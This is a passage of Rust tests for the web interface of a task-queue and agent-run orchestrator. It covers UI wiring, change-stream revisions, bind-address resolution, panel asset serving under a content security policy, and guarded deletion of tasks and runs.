13016 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13020 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13021 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13022 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13023
13024 assert!(APP_JS.contains("sandbox: \"\""));
13026 assert!(!APP_JS.contains("sandbox: \"allow"));
13027 }
13028
13029 #[test]
13030 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13031 assert!(
13040 APP_JS.contains(
13041 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
13042 ),
13043 "the search-clearing branch must run before state.queueFocus is cleared, or the \
13044 recursive renderQueue() call has nothing left to jump to"
13045 );
13046 assert!(
13047 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13048 "state.queueFocus must be cleared only once the jump has landed, so a card that \
13049 arrives later still gets it"
13050 );
13051 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13052 assert!(APP_JS.contains("is not in the current Backlog."));
13053 assert!(APP_JS.contains("li.card[data-task-id=\""));
13054 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13055 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13056 assert!(APP_CSS.contains(".card-permalink"));
13057 assert!(APP_CSS.contains(".queue-focus-status"));
13058 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
13059 }
13060
13061 #[test]
13062 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13063 assert!(
13071 APP_JS.contains(
13072 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13073 ),
13074 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13075 );
13076 }
13077
13078 #[test]
13079 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13080 assert!(
13081 APP_JS.contains("round.verified_head !== round.head"),
13082 "a round that verified an earlier commit must be visibly distinct from one that \
13083 verified the head reviewers are looking at now"
13084 );
13085 assert!(
13086 APP_JS.contains("round.verified_at"),
13087 "when a check ran must be on the wire, not just which commit"
13088 );
13089 assert!(
13090 APP_JS.contains("resource_blocked"),
13091 "a command magi never got to run (shared build cache contention) must not render \
13092 the same as a command that ran and failed"
13093 );
13094 }
13095
13096 #[test]
13097 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13098 assert!(
13106 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13107 "every KPI tile built through statusTile() must route its click through \
13108 openRunsFiltered, the single place that sets the Runs filter"
13109 );
13110 for (label, status) in [
13111 ("Merged", "merged"),
13112 ("Ready", "ready"),
13113 ("Blocked", "blocked"),
13114 ("Stalled", "stalled"),
13115 ] {
13116 let call = format!("statusTile(\"{label}\", t.{status}, ");
13117 assert!(
13118 APP_JS.contains(&call),
13119 "expected the {label} KPI tile built via {call}..."
13120 );
13121 assert!(
13122 APP_JS.contains(&format!("status === \"{status}\"")),
13123 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13124 compare a run against, not one invented only for the stats tile"
13125 );
13126 }
13127 assert!(
13128 APP_JS.contains("function openRunsFiltered(status)"),
13129 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13130 );
13131 assert!(
13132 APP_JS.contains(
13133 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13134 ),
13135 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13136 );
13137 assert!(
13145 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
13146 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13147 hashchange event that may never fire"
13148 );
13149 }
13150
13151 #[test]
13152 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13153 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13159 assert!(
13160 APP_JS.contains(
13161 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
13162 ),
13163 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13164 guard for an incompatible tree section"
13165 );
13166 }
13167
13168 #[test]
13169 fn every_stats_queue_tile_names_a_real_queue_section() {
13170 assert!(
13176 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13177 "every queue tile built through sectionTile() must route its click through \
13178 openQueueSectionFocus"
13179 );
13180 for key in ["upnext", "running", "done", "held", "blocked"] {
13181 assert!(
13182 APP_JS.contains(&format!("{{ key: \"{key}\",")),
13183 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13184 );
13185 }
13186 for line in [
13190 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13191 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13192 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13193 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13194 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13195 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13196 ] {
13197 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13198 }
13199 }
13200
13201 #[test]
13202 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13203 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13210 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13211 assert!(APP_JS.contains("function revealQueueSection(details)"));
13212 assert!(
13213 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
13214 "renderQueue() must consume both focus channels on every pass"
13215 );
13216 assert!(
13217 APP_JS.contains(
13218 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
13219 ),
13220 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13221 the recursive renderQueue() call has nothing left to reveal"
13222 );
13223 assert!(
13224 APP_JS.contains(
13225 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
13226 ),
13227 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13228 );
13229 assert!(
13237 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
13238 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13239 hashchange event that may never fire"
13240 );
13241 }
13242
13243 #[tokio::test]
13244 async fn the_change_stream_announces_the_current_revisions_on_connect() {
13245 let f = Fixture::start().await;
13246
13247 let mut socket = tokio::net::TcpStream::connect(f.addr)
13248 .await
13249 .expect("connect");
13250 socket
13251 .write_all(
13252 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13253 )
13254 .await
13255 .expect("write request");
13256
13257 let mut seen = String::new();
13260 let mut buf = [0u8; 1024];
13261 while !seen.contains("event: change") {
13262 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13263 .await
13264 .expect("the stream must speak within five seconds")
13265 .expect("read");
13266 assert!(read > 0, "the server closed the change stream: {seen}");
13267 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13268 }
13269
13270 assert!(
13271 seen.to_lowercase()
13272 .contains("content-type: text/event-stream"),
13273 "the browser only reconnects automatically for a real SSE stream: {seen}"
13274 );
13275 let data = seen
13276 .lines()
13277 .find_map(|l| l.strip_prefix("data:"))
13278 .expect("a data line");
13279 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13280 assert!(
13281 payload["queue_rev"].is_u64()
13282 && payload["runs_rev"].is_u64()
13283 && payload["questions_rev"].is_u64()
13284 && payload["talks_rev"].is_u64()
13285 && payload["notifications_rev"].is_u64()
13286 && payload["loop_rev"].is_u64(),
13287 "the client needs one revision per store to know what to refetch, \
13288 and `talks_rev` is the only notification a standing talk gets - a \
13289 phone whose radio slept through a turn learns about it here, as \
13290 does one whose operator started the loop from another device: \
13291 {payload}"
13292 );
13293
13294 let health = f.get("/api/health").await.json();
13301 for key in [
13302 "queue_rev",
13303 "runs_rev",
13304 "questions_rev",
13305 "talks_rev",
13306 "notifications_rev",
13307 "loop_rev",
13308 ] {
13309 assert!(
13310 health[key].is_u64(),
13311 "health is the change stream's fallback and is missing `{key}`: {health}"
13312 );
13313 }
13314 }
13315
13316 #[tokio::test]
13317 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13318 let f = Fixture::start().await;
13319 let before = f.get("/api/health").await.json()["talks_rev"]
13320 .as_u64()
13321 .expect("talks_rev");
13322
13323 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13324 std::thread::sleep(Duration::from_millis(10));
13325 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13326 on_disk.turns.push(crate::talk::Turn {
13327 who: crate::talk::Who::Operator,
13328 body: "a new turn".to_owned(),
13329 at: Timestamp::now(),
13330 attachments: Vec::new(),
13331 usage: None,
13332 });
13333 f.talks().put(&mut on_disk).expect("record a turn");
13334
13335 let after = f.get("/api/health").await.json()["talks_rev"]
13336 .as_u64()
13337 .expect("talks_rev");
13338 assert_ne!(
13339 before, after,
13340 "a phone must be able to notice a talk's reply without polling every store"
13341 );
13342 }
13343
13344 #[test]
13345 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13346 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13350 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13351 }
13352 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13353 assert!("everywhere".parse::<Bind>().is_err());
13354 }
13355
13356 #[test]
13357 fn an_explicit_bind_address_is_taken_verbatim() {
13358 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13359
13360 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13361
13362 assert_eq!(addr, asked);
13363 assert!(
13364 warning.is_none(),
13365 "an operator who named an address gets no lecture"
13366 );
13367 }
13368
13369 #[test]
13370 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13371 let (addr, warning) = resolve_bind(&Bind::Auto);
13372
13373 match addr {
13380 IpAddr::V4(ip) if is_tailnet(&ip) => {
13381 assert!(warning.is_none(), "a tailnet address needs no warning");
13382 }
13383 other => {
13384 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13385 let warning = warning.expect("a fallback has to explain itself");
13386 assert!(
13387 warning.contains("127.0.0.1") && warning.contains("local-only"),
13388 "the warning says what happened and what it costs: {warning}"
13389 );
13390 }
13391 }
13392 }
13393
13394 #[test]
13395 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13396 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13400 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13401 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13402 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13403 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13404 }
13405
13406 #[test]
13407 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13408 let ids = vec![
13409 "20260902-140501-aaaa".to_owned(),
13410 "20260902-140502-aabb".to_owned(),
13411 ];
13412
13413 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13414 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13415 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13416
13417 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13418 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13419 assert_eq!(short, "20260902-140502-aabb");
13420 }
13421 #[tokio::test]
13422 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13423 let fx = Fixture::start().await;
13429 let id = panel(
13430 &fx,
13431 "<img src=\"shot.png\">",
13432 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13433 );
13434
13435 let doc = fx
13437 .get(&format!("/api/questions/{id}/panel/index.html"))
13438 .await;
13439 assert_eq!(doc.status, 200, "{}", doc.body);
13440 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13441
13442 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13443 assert_eq!(sibling.status, 200, "{}", sibling.body);
13444 assert_eq!(sibling.header("content-type"), Some("image/png"));
13445 assert_eq!(
13446 sibling.header("content-security-policy"),
13447 Some(PANEL_CSP),
13448 "the sibling route must carry the same policy as the asset route"
13449 );
13450
13451 assert_eq!(
13454 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13455 200
13456 );
13457 }
13458
13459 #[test]
13460 fn delta_stamps_cover_add_update_remove_and_noop() {
13461 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13462 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13463 let delta = diff_stamps(&before, &after, 42);
13464 assert_eq!(delta.base, 42);
13465 assert_eq!(delta.changed, ["b", "c"]);
13466 assert_eq!(delta.removed, ["a"]);
13467 let same = diff_stamps(&after, &after, 43);
13468 assert!(same.changed.is_empty() && same.removed.is_empty());
13469 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13470 let nanos: Stamps = [("b".into(), (2, 20))].into();
13471 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13472 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13473 assert_eq!(stamps_revision(&Stamps::new()), 0);
13474 }
13475
13476 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13477 std::fs::create_dir_all(home.join("runs")).unwrap();
13478 Arc::new(Ui::new(
13479 Queue::at(home.join("queue")),
13480 Questions::at(home.join("questions")),
13481 Talks::at(home.join("talks")),
13482 home.join("runs"),
13483 home.to_owned(),
13484 PathBuf::from("/repo/magi"),
13485 ))
13486 }
13487
13488 #[tokio::test]
13489 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13490 let home = TempDir::new().unwrap();
13491 let ui = delta_test_ui(home.path());
13492 let mut task = Task::new(
13493 "stream task".into(),
13494 "text".into(),
13495 PathBuf::from("/repo"),
13496 Source::Human,
13497 );
13498 ui.queue.put(&mut task).unwrap();
13499 let response = events(State(ui.clone())).await.into_response();
13500 let mut stream = response.into_body().into_data_stream();
13501 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13502 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13503 .await
13504 .unwrap()
13505 .unwrap()
13506 .unwrap();
13507 let text = String::from_utf8(chunk.to_vec()).unwrap();
13508 let data = text
13509 .lines()
13510 .find_map(|line| {
13511 line.strip_prefix("data: ")
13512 .or_else(|| line.strip_prefix("data:"))
13513 })
13514 .unwrap();
13515 serde_json::from_str(data).unwrap()
13516 }
13517 let initial = change(&mut stream).await;
13518 assert!(initial.get("queue_delta").is_none());
13519 task.instruction.push_str(" changed");
13520 ui.queue.put(&mut task).unwrap();
13521 let updated = change(&mut stream).await;
13522 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13523 assert_eq!(
13524 updated["queue_delta"]["changed"],
13525 serde_json::json!([task.id])
13526 );
13527 assert_eq!(
13528 updated["queue_rev"].as_u64(),
13529 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13530 );
13531 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13532 let removed = change(&mut stream).await;
13533 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13534 assert_eq!(
13535 removed["queue_delta"]["removed"],
13536 serde_json::json!([task.id])
13537 );
13538 }
13539
13540 #[tokio::test]
13541 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13542 let home = TempDir::new().unwrap();
13543 let ui = delta_test_ui(home.path());
13544 let queue = ui.queue.clone();
13545 let query = |ids: Option<&str>| {
13546 Query(ListQuery {
13547 limit: Some(2),
13548 ids: ids.map(str::to_owned),
13549 })
13550 };
13551 let mut root = Task::new(
13552 "root".into(),
13553 "instruction".into(),
13554 PathBuf::from("/repo"),
13555 Source::Human,
13556 );
13557 queue.put(&mut root).unwrap();
13558 let mut blocked = Task::new(
13559 "blocked".into(),
13560 "instruction".into(),
13561 PathBuf::from("/repo"),
13562 Source::Human,
13563 );
13564 blocked.block(vec![root.id.clone()], None);
13565 queue.put(&mut blocked).unwrap();
13566 let whole =
13567 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13568 .unwrap();
13569 let subset = serde_json::to_value(
13570 queue_list(State(ui.clone()), query(Some(&root.id)))
13571 .await
13572 .unwrap()
13573 .0,
13574 )
13575 .unwrap();
13576 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13577 let blockers = serde_json::to_value(
13578 queue_list(State(ui.clone()), query(Some("")))
13579 .await
13580 .unwrap()
13581 .0,
13582 )
13583 .unwrap();
13584 assert_eq!(blockers.as_array().unwrap().len(), 1);
13585 assert_eq!(blockers[0]["id"], blocked.id);
13586 assert_eq!(
13587 blockers[0]["waits_on"],
13588 whole
13589 .as_array()
13590 .unwrap()
13591 .iter()
13592 .find(|row| row["id"] == blocked.id)
13593 .unwrap()["waits_on"]
13594 );
13595
13596 for id in [
13597 "20260902-140501-aaaa",
13598 "20260902-140502-bbbb",
13599 "20260902-140503-cccc",
13600 ] {
13601 write_run(&ui.runs, id, RunStatus::Merged);
13602 }
13603 let old = serde_json::to_value(
13604 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13605 .await
13606 .unwrap()
13607 .0,
13608 )
13609 .unwrap();
13610 assert!(
13611 old.as_array().unwrap().is_empty(),
13612 "older updates must not enter the window"
13613 );
13614 let newest = serde_json::to_value(
13615 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13616 .await
13617 .unwrap()
13618 .0,
13619 )
13620 .unwrap();
13621 assert_eq!(newest.as_array().unwrap().len(), 1);
13622 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13623
13624 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13625 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13626 let talks = serde_json::to_value(
13627 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13628 .await
13629 .unwrap()
13630 .0,
13631 )
13632 .unwrap();
13633 assert_eq!(talks.as_array().unwrap().len(), 1);
13634 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13635 assert_eq!(
13636 serde_json::to_value(
13637 talks_list(State(ui.clone()), query(Some("")))
13638 .await
13639 .unwrap()
13640 .0
13641 )
13642 .unwrap(),
13643 serde_json::json!([])
13644 );
13645 }
13646
13647 #[tokio::test]
13648 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13649 async fn delta_payload_benchmark() {
13650 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13651 let ui = delta_test_ui(&home);
13652 let query = |ids: Option<String>| {
13653 Query(ListQuery {
13654 limit: Some(50),
13655 ids,
13656 })
13657 };
13658 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13659 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13660 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13661 let queue_id = queue
13662 .iter()
13663 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13664 .unwrap_or(&queue[0])
13665 .task
13666 .id
13667 .clone();
13668 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13669 .await
13670 .unwrap()
13671 .0;
13672 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13673 .await
13674 .unwrap()
13675 .0;
13676 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13677 .await
13678 .unwrap()
13679 .0;
13680 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13681 eprintln!(
13682 "DELTA_PAYLOAD {}",
13683 serde_json::json!({
13684 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13685 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13686 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13687 "counts": [queue.len(), runs.len(), talks.len()],
13688 "blocked": queue_delta.len() - 1,
13689 })
13690 );
13691 }
13692
13693 #[test]
13694 fn runs_revision_moves_when_deleting_an_older_run() {
13695 let temp = TempDir::new().expect("tempdir");
13696 let runs = temp.path().join("runs");
13697 std::fs::create_dir_all(&runs).expect("create runs dir");
13698
13699 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13700
13701 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13702 std::thread::sleep(Duration::from_millis(10));
13703 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13704
13705 let rev_before = runs_revision(&runs);
13706 assert!(rev_before > 0);
13707
13708 let old_dir = runs.join("20260901-100000-old1");
13709 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13710
13711 let rev_after = runs_revision(&runs);
13712 assert_ne!(
13713 rev_before, rev_after,
13714 "deleting an older run must change the revision so other clients see the deletion"
13715 );
13716 }
13717
13718 fn write_state(runs: &FsPath, state: &RunState) {
13723 let dir = runs.join(&state.id);
13724 std::fs::create_dir_all(&dir).expect("run dir");
13725 std::fs::write(
13726 dir.join("run.json"),
13727 serde_json::to_string_pretty(state).expect("serialize run"),
13728 )
13729 .expect("write run.json");
13730 }
13731
13732 #[test]
13737 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13738 let temp = TempDir::new().expect("tempdir");
13739 let runs = temp.path().join("runs");
13740 std::fs::create_dir_all(&runs).expect("create runs dir");
13741 let mut state = RunState::new(
13742 PathBuf::from("/repo/magi"),
13743 "main".to_owned(),
13744 "0123456789abcdef".to_owned(),
13745 "task".to_owned(),
13746 Config::default(),
13747 );
13748 state.id = "20260902-100000-c0de".to_owned();
13749 write_state(&runs, &state);
13750
13751 let rev_idle = runs_revision(&runs);
13752 std::thread::sleep(Duration::from_millis(10));
13753 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13754 write_state(&runs, &state);
13755 let rev_started = runs_revision(&runs);
13756 assert_ne!(
13757 rev_idle, rev_started,
13758 "a seat starting must move the revision"
13759 );
13760
13761 std::thread::sleep(Duration::from_millis(10));
13762 state.seat_finished("judge-1");
13763 write_state(&runs, &state);
13764 let rev_finished = runs_revision(&runs);
13765 assert_ne!(
13766 rev_started, rev_finished,
13767 "and clearing it again must move the revision a second time"
13768 );
13769 }
13770
13771 #[tokio::test]
13772 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13773 let fx = Fixture::start().await;
13778 let q = fx.queue();
13779
13780 let mut t = Task::new(
13781 "Task".to_owned(),
13782 "Instruction".to_owned(),
13783 PathBuf::from("/repo"),
13784 Source::Human,
13785 );
13786 t.block(
13787 vec!["20260101-000000-dead".to_owned()],
13788 Some("waiting on Task 1".to_owned()),
13789 );
13790 t.answers.push(crate::queue::AnsweredQuestion {
13791 question: "Which backend?".to_owned(),
13792 answer: "SQLite".to_owned(),
13793 });
13794 q.put(&mut t).expect("put t");
13795
13796 let res = fx.get("/api/queue").await;
13797 assert_eq!(res.status, 200);
13798 let list = res.json();
13799 let view = list
13800 .as_array()
13801 .expect("array")
13802 .iter()
13803 .find(|v| v["id"] == t.id)
13804 .expect("task in list");
13805 assert_eq!(view["status_str"], "blocked");
13806 assert_eq!(
13807 view["blocked_by"],
13808 serde_json::json!(["20260101-000000-dead"])
13809 );
13810 assert_eq!(view["block_reason"], "waiting on Task 1");
13811 assert_eq!(view["answers"][0]["question"], "Which backend?");
13812 assert_eq!(view["answers"][0]["answer"], "SQLite");
13813
13814 let res = fx
13818 .post(&format!("/api/queue/{}/hold", t.short()), None)
13819 .await;
13820 assert_eq!(res.status, 200);
13821 let held = res.json();
13822 assert_eq!(held["status_str"], "held");
13823 assert_eq!(held["blocked_by"], serde_json::json!([]));
13824 assert!(held["block_reason"].is_null());
13825 assert_eq!(held["answers"][0]["answer"], "SQLite");
13826 }
13827
13828 #[tokio::test]
13829 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13830 let fx = Fixture::start().await;
13831 let q = fx.queue();
13832 let mk = |title: &str| {
13833 Task::new(
13834 title.to_owned(),
13835 "Instruction".to_owned(),
13836 PathBuf::from("/repo"),
13837 Source::Human,
13838 )
13839 };
13840 let mut root = mk("root");
13841 root.hold_manual(Some("waiting".to_owned()));
13842 q.put(&mut root).unwrap();
13843 let mut mid = mk("mid");
13844 mid.block(vec![root.id.clone()], None);
13845 q.put(&mut mid).unwrap();
13846 let mut leaf = mk("leaf");
13847 leaf.block(vec![mid.id.clone()], None);
13848 q.put(&mut leaf).unwrap();
13849
13850 let list = fx.get("/api/queue").await.json();
13851 let find = |id: &str| {
13852 list.as_array()
13853 .unwrap()
13854 .iter()
13855 .find(|v| v["id"] == id)
13856 .unwrap()
13857 .clone()
13858 };
13859 let leaf_view = find(&leaf.id);
13860 assert_eq!(
13861 leaf_view["waits_on"],
13862 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13863 );
13864 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13865 assert_eq!(
13866 find(&mid.id)["waits_on"],
13867 serde_json::json!([format!("{} (held)", root.short())])
13868 );
13869 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13870 }
13871
13872 #[tokio::test]
13873 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13874 let fx = Fixture::start().await;
13875 let q = fx.queue();
13876
13877 let mut t1 = Task::new(
13879 "Task 1".to_owned(),
13880 "Instruction 1".to_owned(),
13881 PathBuf::from("/repo"),
13882 Source::Human,
13883 );
13884 let run_id = "20260901-000000-r111";
13885 t1.runs.push(run_id.to_owned());
13886 write_run(&fx.runs(), run_id, RunStatus::Merged);
13887 q.put(&mut t1).expect("put t1");
13888
13889 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13891 assert_eq!(res.status, 204);
13892 assert!(res.body.is_empty(), "204 No Content has no body");
13893 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13894 assert!(
13895 fx.runs().join(run_id).exists(),
13896 "run directory must not be deleted when its task is deleted"
13897 );
13898
13899 let mut t2 = Task::new(
13901 "Task 2".to_owned(),
13902 "Instruction 2".to_owned(),
13903 PathBuf::from("/repo"),
13904 Source::Human,
13905 );
13906 t2.status = TaskStatus::Running;
13907 q.put(&mut t2).expect("put t2");
13908 let mut beat = crate::daemon::Status::new();
13909 beat.current = vec![crate::daemon::Current {
13910 task: t2.id.clone(),
13911 run: "20260901-000000-r222".to_owned(),
13912 }];
13913 beat.updated_at = jiff::Timestamp::now();
13914 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13915 .expect("publish a heartbeat");
13916 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13917 assert_eq!(res.status, 409);
13918 assert!(
13919 res.json()["error"]
13920 .as_str()
13921 .unwrap()
13922 .contains("live daemon")
13923 );
13924 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13925
13926 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13932 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13933 .expect("leave a stale heartbeat");
13934 let mut t3 = Task::new(
13935 "Task 3".to_owned(),
13936 "Instruction 3".to_owned(),
13937 PathBuf::from("/repo"),
13938 Source::Human,
13939 );
13940 t3.status = TaskStatus::Running;
13941 q.put(&mut t3).expect("put t3");
13942 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13943 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13944 assert_eq!(res.status, 204);
13945 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13946 assert!(
13947 q.claim(&t3.id).is_ok(),
13948 "the stale lock went with it, so the id is claimable again"
13949 );
13950
13951 let res = fx.delete("/api/queue/nonexistent").await;
13953 assert_eq!(res.status, 404);
13954 }
13955
13956 #[tokio::test]
13957 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13958 let fx = Fixture::start().await;
13959 let runs = fx.runs();
13960
13961 let run_id = "20260901-000000-fold";
13963 let mut state = RunState::new(
13964 PathBuf::from("/repo"),
13965 "main".to_owned(),
13966 "abc".to_owned(),
13967 "instruction".to_owned(),
13968 Config::default(),
13969 );
13970 state.id = run_id.to_owned();
13971 state.status = RunStatus::Merged;
13972 state.candidates.push(crate::run::Candidate {
13973 index: 0,
13974 label: 'A',
13975 agent: "a".to_owned(),
13976 branch: "b".to_owned(),
13977 worktree: PathBuf::from("/w"),
13978 summary: String::new(),
13979 stat: String::new(),
13980 files: 1,
13981 commits: 1,
13982 empty: false,
13983 failed: None,
13984 verified_noop: None,
13985 duration_ms: 0,
13986 folded: true,
13987 });
13988 let dir = runs.join(run_id);
13989 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13990 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13991 .expect("write artifact");
13992 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13993 .expect("write run.json");
13994
13995 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13997 assert_eq!(res.status, 204);
13998 assert!(res.body.is_empty(), "204 has no body");
